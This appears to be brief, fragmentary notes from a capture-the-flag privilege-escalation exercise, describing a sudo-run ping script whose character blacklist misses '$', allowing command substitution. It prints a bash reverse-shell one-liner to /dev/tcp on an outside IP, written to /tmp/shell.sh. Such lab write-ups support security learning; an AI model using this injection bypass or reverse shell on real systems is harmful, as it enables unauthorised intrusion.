Comment on page
sudo -l wins!


/bin/nano /opt/priv



sudo -u USER SOMETHING -p

It takes our input (it assumes that it’s an ip) and executes
ping
on it, to prevent command injection it checks for these characters:& ; - ` || |
However, It doesn’t check for the dollar sign (
$
), the dollar sign can be used to execute commands like this: $(command)
So for example if we do ping -c 1 $(echo 127.0.0.1)
, echo 127.0.0.1
will be executed first then the ping
command will be executed:
echo 'bash -c "bash -i >& /dev/tcp/10.10.16.18/4444 0>&1"' > /tmp/shell.sh
chmod +x /tmp/shell.sh
and run the same script
--- we could've also done ($bash)

Now we are pepper!
Last modified 1yr ago